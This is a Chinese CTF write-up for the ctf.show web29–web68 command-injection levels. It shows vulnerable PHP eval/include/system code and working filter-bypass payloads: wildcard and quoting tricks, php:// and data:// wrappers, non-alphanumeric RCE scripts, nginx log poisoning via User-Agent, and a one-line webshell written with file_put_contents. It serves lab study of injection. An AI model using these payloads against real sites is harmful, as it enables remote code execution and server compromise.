web29 过滤FLAG

访问网站,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
?>

通过代码审计发现,这里过滤了关键字 flag,使用了i修饰符表示不区分大小写的匹配 flag 关键字。

先试用如下 PAYLOAD 获取FLAG文件的所在位置,一般CTF比赛的FLAG都在系统的根目录下,或者网站的根目录下:

1
?c=system("ls");

image-20231021164347990

而这里就在网站根目录下名为 flag.php,对于过滤了 flag 关键字,我们可以使用如下方法绕过:

1
2
3
4
5
6
7
8
?c=system("nl fla?.php");
?c=system("nl fla*");
?c=system("nl fla[e-g].php");
?c=system("nl fla[g].php");
?c=system("nl fla''g.php");
?c=system("nl fla``g.php");
?c=system("nl fla\g.php");
?c=system("nl fla${x}g.php");

以上代码运行之后,右键查看源代码即可看到FLAG,当然还可以使用如下方式进行绕过:

1
?c=eval($_GET[cmd]);&cmd=system('nl flag.php');

也可以使用如下方式进行绕过:

1
?c=$a='fla';$b='g.php';include("php://filter/read=convert.base64-encode/resource={$a}{$b}");

image-20231021170110130

web30 简单的过滤-1

源码如下:

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

通过代码审计发现不区分大小写的过滤了 flagsystemphp等关键字。可以通过如下方法绕过:

1
2
3
4
5
6
7
8
9
10
?c=passthru("nl fla?.ph?");
?c=passthru("nl fla*");
?c=passthru("nl fla[e-g].ph[o-p]");
?c=passthru("nl fla[g].php");
?c=passthru("nl fla''g.ph'p'");
?c=passthru("nl fla``g.ph``p");
?c=passthru("nl fla\g.ph\p");
?c=passthru("nl fla${x}g.p${x}hp");
?c=eval($_GET[cmd]);&cmd=system('nl flag.php');
?c=$a='fla';$b='g.';$c='ph';$d='p';include("{$c}{$d}://filter/read=convert.base64-encode/resource={$a}{$b}{$c}{$d}");

web31 简单的无参RCE

源码如下:

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}

通过代码审计发现不区分大小写过滤了flagsystemphpcatsortshell.空格单引号

对于过滤了 cat 命令可以使用如下命令代替:

命令 含义
cat 从第一行开始显示全部的文本内容
tac 从最后一行开始,显示全部分文本内容,与cat相反
nl 显示文本时,输出行号
more 按页显示文件内容
less 如 more 命令差不多,也是按页显示内容
head 从头开始显示文件指定的行数,默认只显示前10行
tail 显示文件指定的结尾行数
sort 对文件内容进行排序

对于过滤了空格可以使用如下方法代替:

符号 示例 备注
$IFS$1 cat$IFS$1/etc/passwd
$IFS cat$IFS/etc/passwd
${IFS} cat${IFS}/etc/passwd
{} {cat,/etc/passwd}
%09 cat%09/etc/passwd 需要URL解码
< cat</etc/passwd
<> cat<>/etc/passwd

绕过方法:

1
?c=eval($_GET["cmd"]);&cmd=show_source('flag.php');

image-20231021180325727

这里尝试空格替换均无法绕过,当然这里还有一种其他方法,那就是无参读取flag.php文件的内容。

PAYLOAD:

1
show_source(next(array_reverse(scandir(pos(localeconv())))));

image-20231021180416539

下面逐个解析以上PAYLOAD所涉及的函数:

localeconv

获取数字格式信息

参数 说明
该函数没有参数

返回值:返回值类型为一个数组,其中数组第一个元素的值为 .

pos

current() 函数的别名,用于返回数组中的当前值(也就是数组中第一个元素的值)。

参数 说明
array 要操作的数组

返回值: 数组中第一个元素的值

scandir

列出指定路径中的文件和目录。

参数 说明
directory 要被浏览的目录

返回值: 成功则返回包含有文件名的 array,如果失败则返回 **false**。

其他参数可选,详情可见:https://www.php.net/manual/zh/function.scandir

array_reverse

返回单元顺序相反的数组

参数 说明
array 要被操作的数组

返回值: 返回反转后的数组。

next

将数组中的内部指针向前移动一位

参数 说明
array 要被操作的数组

返回值:返回数组内部指针指向的下一个单元的值,或当没有更多单元时返回 **false**。

show_source

highlight_file 函数的别名,用于语法高亮一个文件。

参数 说明
filename 要高亮文件的路径。

以下继续对函数执行所获得的值进行分解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 6. 此时show_source函数将next函数返回的 flag.php 作为参数 因此获取FLAG
show_source(
// 5. next函数用于将array_reverse反转好的数组 指针指向第二个元素 获取的值为 flag.php 返回
next(
// 4. array_reverse将scandir函数返回的数组进行反转 顺序为 index.php flag.php . ..
array_reverse(
// 3. scandir函数将pos函数的返回值 . 作为参数进行处理 此时scandir 返回目录文件的数组
scandir(
// 2. pos函数获取localeconv中第一个元素的值 也就是 .
pos(
// 1. localeconv返回一个第一个元素的值为 . 的数组
localeconv()
)
)
)
)
);

web32 php伪协议-1

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
?>

通过代码审计发现了不区分大小写的过滤了如下内容:

flagsystemphpcatsortshell.空格'echo;(、以及 反引号

绕过方法如下:

1
?c=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

image-20231021192722283

base64 解码之后即可得到FLAG:

image-20231021192805094

其他PAYLOAD:

1
2
?c=include$_GET[1]?>&1=data://text/plain,<?php system("nl flag.php");?>
?c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCdubCBmbGFnLnBocCcpOz8%2b

web33-36 php伪协议-2

web33 源码如下:

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

不区分大小写的过滤内容如下:

flag、system、php、cat、sort、shell、.、空格、单引号、反引号、echo、分号、(、双引号

由于过滤了单引号和双引号,我们需要在一题的PAYLOAD中稍作更改,将双引号去掉即可:

1
?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

image-20231021193257702

去掉双引号之后为什么还能执行呢?只要参数中不带有空格,那么都是可以不适用单双引号进行包裹的,但是我们在开发中,一般都使用单引号或者双引号进行包裹。

image-20231021193443241

当然这里还可以使用如下PAYLOAD:

1
?c=include$_GET[1]?>&1=data://text/plain,<?php system("nl flag.php")?>

web37 文件包含过滤flag

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
// flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

这里不区分大小写的过滤了 flag 关键字。故而 php://filter 伪协议是不能使用的。

但是这里可以使用 data 协议:

1
2
?c=data://text/plain,<?php system("nl fla*.php");?>
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdubCBmbGFnLnBocCcpOz8%2b

image-20231021200248539

当然这里也可以使用 php://input 协议,除了使用伪协议以外,我们还可以尝试包含日志进行 getshell:

通过服务器响应的 Server 字段来看,这里可以得知服务器使用的是 nginx 进行搭建的。

image-20231021200459387

而 nginx 服务默认的访问日志在 /var/log/nginx/access.log,尝试构造如下PAYLOAD:

1
?c=/var/log/nginx/access.log

image-20231021200758100

发现成功包含文件,由于我们访问的网站时,发出的请求中的 User-agent 字段会记录在该日志中,因此我们先使用 带有 一句话木马的 UA 访问一下:

image-20231021201040452

接着再访问利用即可。

image-20231021201155024

web38 文件包含过滤flag和php

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

可以看到这里不区分大小写的过滤了 php 关键字,因此 php://filter 以及 php://input 伪协议均无法使用,但是这里可以使用data协议。

PAYLOAD如下:

1
2
3
?c=data://text/plain,<?=system('nl fla*');?>
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdubCBmbGFnLnBocCcpOz8%2b
// 同样这里也可以通过修改UA包含/var/log/nginx/access.log文件进行利用

由于过滤了 php关键字,我们无法直接使用 <?php,这里也没有开启短标签等功能,故而这里只能使用 <?=system('ls');?> 等价于 <?php system('ls');?>

image-20231022094018692

web39 文件包含过滤flag并添加后缀

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}

这里只是不区分大小写的过滤了 flag 关键字,同时在使用 include 引入的时候,对我们传入的参数c末尾自动加后缀.php

PAYLOAD:

1
2
3
4
5
6
7
8
9
// 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用。
?c=data://text/plain,<?php system("tac fla*");?>

// 基于上一题行不通的方法:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdubCBmbGFnLnBocCcpOz8%2b
原因: 实际上解码的为 PD9waHAgc3lzdGVtKCdubCBmbGFnLnBocCcpOz8+.php 无法成功解码

?c=/var/log/nginx/access.log
原因: 实际上包含的文件为 /var/log/nginx/access.log.php

web40 无参RCE-1

源码如下:

1
2
3
4
5
6
7
8
9
10
11
<?php 
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
?>

经过代码审计发现过滤内容如下:

0-9之间的数字、~、反引号、@、#、$、%、^、&、*、中文的左括号、中文的右括号、-、=、+、{、[、]、}、英文冒号、单引号、双引号、逗号、<、>、/、?、\\

这里由于过了了单引号、双引号、以及=和+,但是幸运的是这里过滤的是中文的括号,因此这里只是一个无参的读取文件内容。

这里可以使用web31的PAYLOAD:

1
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

当然这里还有新的PAYLOAD,利用sessionId进行传参。PAYLOAD如下:

1
?c=session_start();system(session_id());

image-20231022101817718

释义:

首先使用session_start() 函数开启session,其实使用session_id()函数获取Cookie字段中的PHPSESSID属性的值。最后交给 system() 函数执行。但是这种方法有局限性,由于 sessionId只能是数字+字母,不能有特殊字符,故而不能使用该方法执行 nl flag.php等命令。因此该方法仅做了解。

其他 PAYLOAD:

先获取所有变量:

1
?c=print_r(get_defined_vars());

image-20231022102517021

发现存在 _GET_POST_COOKIE_FILES变量,那么我们利用POST方法传入参数 cmd

image-20231022102645109

接着使用 next() 函数改变数组的位置,指向数组中的第二个元素,此时取到变量 _POST 的数组。

1
?c=print_r(next(get_defined_vars()));

image-20231022102829465

使用 poscurrent、以及 array_pop 都可以取得数组中第一个元素的值,即 phpinfo();

array_pop

将元素从数组末尾弹出

参数 说明
array 要从中获取值的数组。

返回值:返回array中最后一个元素的值,如果array为空, null则返回。

1
?c=print_r(array_pop(next(get_defined_vars())));

image-20231022103225407

接着使用 eval 或者 assert 函数执行即可。

image-20231022103414107

最终获取FLAG的PAYLOAD:

1
?c=assert(array_pop(next(get_defined_vars())));

image-20231022103522169

web41 无字母数字RCE

源码如下:

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>

通过代码审计过滤内容如下:

0-9、a-z、^、+、~、$、[、]、{、}、&、-

这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|

这里借用 羽师傅的PHP脚本生成 rce_or.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符。运行以上脚本之后会生成 rce_or.txt 文件。

rce_or.txt 部分内容如下:

image-20231022113515477

那么为什么 %60 | %01 就得到字母a呢?其实这里我们需要将 %60%01 转为十进制 ,之后进行 or 运算即可得到97。

image-20231022113739382

而 ASCII 码 97 转为字符为a

接着使用 羽师傅的 Python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)

食用方法:

1
python3 exp.py <url>

image-20231022114935437

image-20231022115010608

当我们执行 system("ls")的时候,实际发送的PAYLOAD为:

image-20231022115433109

在PHP7中,可以使用如下方法执行函数:

1
2
3
4
<?php 
('system')('whoami');
('phpinfo')();
?>]

image-20231022113946044

web42 输出重定向-1

源码如下:

1
2
3
4
5
6
7
8
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
?>

假设我们传入 ?c=ls 则实际执行的命令为:

1
ls > /dev/null 2>&1

也就是说将 ls 命令执行的结果写入到了 /dev/null 文件中,在 Linux 系统中,/dev/null 是一个特殊的文件,被称为空设备,该文件对所有人都是 只可写不可读 的状态,你会发现不管在该文件中写入什么样的内容,最终读的时候,内容始终为空。

这里我们通过如下方法即可绕过:

1
2
# 实际上shell执行的命令为 nl flag.php;>/dev/null 2>&1
?c=nl flag.php;
1
2
# 实际上shell执行的命令为 nl flag.php||>/dev/null 2>&1
?c=nl flag.php||
1
2
# 实际上shell执行的命令为 nl flag.php换行>/dev/null 2>&1
?c=nl flag.php%0a

web43 输出重定向-2

源码如下:

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

我们可以使用上一题的PAYLOAD:

1
2
?c=nl flag.php||
?c=nl flag.php%0a

但是这里过滤了 ;,上一题的 ; PAYLOAD 是无法使用了的。

web44 输出重定向-3

源码如下:

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?>

这里只是比上一题多过滤了 flag 关键字,绕过方法如下:

1
2
?c=nl fla?.php||
?c=nl fla*%0a

web45 输出重定向-4

源码如下:

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?>

本关卡比上一关多过滤了 空格,至于空格我们可以使用 $IFS${IFS}$IFS$9%09{}<<>等方式代替。

PAYLOAD:

1
2
3
?c=nl$IFS$1fla?.php||
?c=nl%09fla*%0a
?c=echo$IFS`tac$IFS*`%0A

web46 输出重定向-5

源码如下:

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?>

本关卡比上一关多过滤了 0-9$、以及 *

PAYLOAD:

1
2
3
4
?c=nl%09fla?.php||
?c=nl%09fla\g.php%0a
?c=nl<fla''g.php||
# 不能使用的: ?c=nl<fla?.php|| 原因是<不支持通配

web47 输出重定向-6

源码如下:

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?>

本关卡比上一题多过滤了 文件读取命令的相关命令,比如 morelessheadsorttail

可以直接使用上一题的PAYLOAD去打。

web48 输出重定向-7

源码如下:

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?>

本关卡比上一关多过滤了 sedcutawkstringsodcurl反引号 等字符。

依旧可以使用上一题的PAYLOAD。

web49 输出重定向-8

源码如下:

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?>

本关卡比上一关多过滤了 %,因此%09%0a 无法使用。

PAYLOAD:

1
?c=nl<fla''g.php||

web50 输出重定向-9

源码如下:

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?>

本关卡比上一关多过滤了 \x09\x26

依旧可以使用上一关的PAYLOAD。

web51 输出重定向-10

源码如下:

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?>

本关卡跟上一关好像没区别…

web52 输出重定向-11

源码如下:

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?>

本关卡比上一关多过滤了 >< 字符,但是把 $ 放出来了。

PAYLOAD:

1
?c=nl$IFS/fla\g||

image-20231022165622239

与上关不同的是,虽说网站根目录存在 flag.php 文件,但是文件内容为空。其真实的 flag 在根目录下。

web53 输出重定向-12

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
?>

PAYLOAD:

1
?c=nl${IFS}fla\g.p\hp

image-20231022193139625

这里也可以使用如下PAYLOAD:

1
?c=ca''t${IFS}fla''g.p''hp

web54 过滤所有读取文件命令

源码如下:

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
?>

通过代码审计发现这里过滤了 ;catflag空格0-9*morewgetlessheadsorttailsedcuttacawkstringsodcurlnlscprm反引号%\x09\x26><

其中因为有了类似于 .*c.*a.*t.* 这种规则,我们的 ca''t 则无法绕过。下面放张图:

image-20231022194315713

发现无论cat之间中间有什么字符都能匹配到,故而 ca''t 无法绕过。

这里就需要知道cat命令存储的位置了,一般情况下,Linux内置的命令都存储在 /bin 目录下。

我们可以使用通配符去匹配 /bin 目录下的 cat 命令。

PAYLOAD:

1
?c=/bin/?at${IFS}f???????

image-20231022200424942

web55 无字母RCE-1

源码如下:

1
2
3
4
5
6
7
8
9
10
11
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
?>

通过代码审计发现过滤了 ;a-z反引号%\x09\x26><

但是 并没有过滤 .?* 符号。

当我们向服务器 POST 一个文件时,此时该文件会短暂的存储在 服务器的 /tmp 目录下,名称为:php+6个随机字符

请看示例:

这里我们准备如下HTML源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>File Upload</title>
</head>
<body>
<form action="http://172.20.10.2/index.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<br>
<input type="submit" name="submit">
</form>
</body>
</html>
<?php
sleep(10); // 为了让程序不那么快结束
?>

准备一个名为 hello.txt 的文件,内容为:hello world Hello X1ong!!!

将该文件通过文件上传接口,上传到 172.20.10.2 当中,可以看到,已经传输到服务器的 /tmp 目录下,上传之后的保存的文件名为 php+6位随机字符

不过,该文件会在PHP程序执行完毕之后自动删除。

image-20231022210608960

程序运行结束之后,文件删除:

image-20231022211020245

假设我们有一个名为 xx.txt 的文件,文件内容如下:

1
2
#!/bin/sh
ls

我们编写文件上传HTML代码,将服务器地址指向靶机地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>File Upload</title>
</head>
<body>
<form action="http://4b268dea-539c-46a0-99af-39cf52af50e9.challenge.ctf.show/">
<label for="#file">
<input type="file" id="file" name="file">
<input type="submit" name="submit" value="submit">
</label>
</form>
</body>
</html>

我们使用BP抓取上传 xx.txt 的数据包:

image-20231022211953319

没回显的话多发几次。

POC解读:

1
.+/???/????????[@-[]

在Linux中我们可以使用 . 代替 source 命令去执行 shell 脚本。如下:

image-20231022212228716

其中的 ? 表示通配符。+ 为url编码中的空格。? 则是Linux中的通配符。

因此 .+/???/????????[@-[] 其实就是 . /tmp/php6个随机字符 后面的[@-[]是linux下面的匹配符,是进行匹配的大写字母,表示一个范围,从ASCII字符中大写字母在@[之间,故而写成[@-[]

image-20231022214757428

image-20231022214937554

具体参见P神文章:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

web56 无字母数字RCE-1

源码如下:

1
2
3
4
5
6
7
8
9
10
11
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
?>

本关卡比上一关多过滤了 0-9$({单引号双引号,但是没有过滤 ?/、以及 [],因此还可以使用上一题的方式进行解题:

image-20231023140052489

image-20231023140130178

web57 无字母数字RCE-2

源码如下:

1
2
3
4
5
6
7
8
9
10
11
<?php
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
?>

经过代码审计发现这里还是个无字母数字的命令执行。

比上一题多过滤了 .,?*-=[,因此基于上一题的做法是行不通的。

这里根据提示 flag 在 36.php 中,因此这里我们只需要传入 ?c=36 即可查看FLAG。

但是!!!

这里不允许传入数字。我们该怎么构造得到数字36呢?看了一下,发现放出了 $()~

那么这里我们可以使用 Linux 的 $(()) 构造出36。

1
2
$(())=0
$((~ $(()) ))=-1

(()) 是用来整数运算的命令,内部可以放表达式,默认相加,通过 $((36)) 可得36,如果使用 $((~37))取反为 -37

36 可以通过外层为 $(()) 包裹内层可以运算出36的表达式构造,36由-37取反得到,所以

$((~$(( )))) 的内部加上37个 $((~ $(()) )) 得到 -37,最终在使用开头的取反,得到36 。

PAYLOAD:

1
?c=$((~ $(($((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) ))$((~ $(()) )))) ))

image-20231023142353680

web58 函数禁用-1

源码如下:

1
2
3
4
5
6
7
8
9
<?php 
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
?>

经过检测发现过滤了很多函数,但是 show_sourcehighlight_file 函数并没有禁用,可以直接读取 flag.php 文件的内容。

image-20231023182423670

当我们这里经过测试,发现 file_get_contents 等函数其实也可以进行文件读取。

1
2
3
4
5
6
c=echo file_get_contents("flag.php");
c=readfile("flag.php");
c=var_dump(file('flag.php'));
c=print_r(file('flag.php'));
c=file_put_contents('shell.php','<?php @eval($_POST["cmd"]);?>');
// 这里解释一下,file函数是将整个文件读到索引数组中,每行是一个元素。

web59 函数禁用-2

源码如下:

1
2
3
4
5
6
7
8
9
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
?>

这里可以使用 file_put_contents 函数向目标服务器写入 webshell 进行连接,从而获取 FLAG 值。

image-20231023190615470

其他 PAYLOAD:

1
2
3
4
c=var_dump(file('flag.php'));
c=print_r(file('flag.php'));
c=show_source('flag.php');
c=highlight_file('flag.php');

web60-65 函数禁用-3

源码如下:

1
2
3
4
5
6
7
8
9
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
?>

这里依旧可以使用 file_put_contents 函数获取服务器的 webshell 权限。但是这里由于禁用了某些函数导致拿到shell之后,无法通过中国蚁剑工具进行查看或下载 flag 文件。

image-20231023191751700

其他 PAYLOAD:

1
2
c=show_source('flag.php');
c=highlight_file('flag.php');

web66-67 函数禁用-4

源码如下:

1
2
3
4
5
6
7
8
9
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
?>

这里使用 show_source 提示函数被禁用,接着使用 highlight_file 函数发现可以读取 flag.php 但是里面并没有FLAG值。

image-20231023194323425

尝试使用 scandir 函数读取当前目录,发现并无其他文件:

1
c=print_r(scandir('.'));

image-20231023194437813

接着尝试使用 scandir 函数读取服务器的根目录下内容:

image-20231023194631879

发现根目录存在 flag.txt 文件,这里我们可以使用 highlight_file 函数 或 include 以及 require 函数进行读取。

image-20231023194753711

PAYLOAD:

1
2
3
4
5
c=highlight_file('/flag.txt');
c=include('/flag.txt');
c=include_once('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');

web68 函数禁用-5

访问页面,提示如下:

image-20231023220832409

很明显,highlight_file 函数被禁用了。

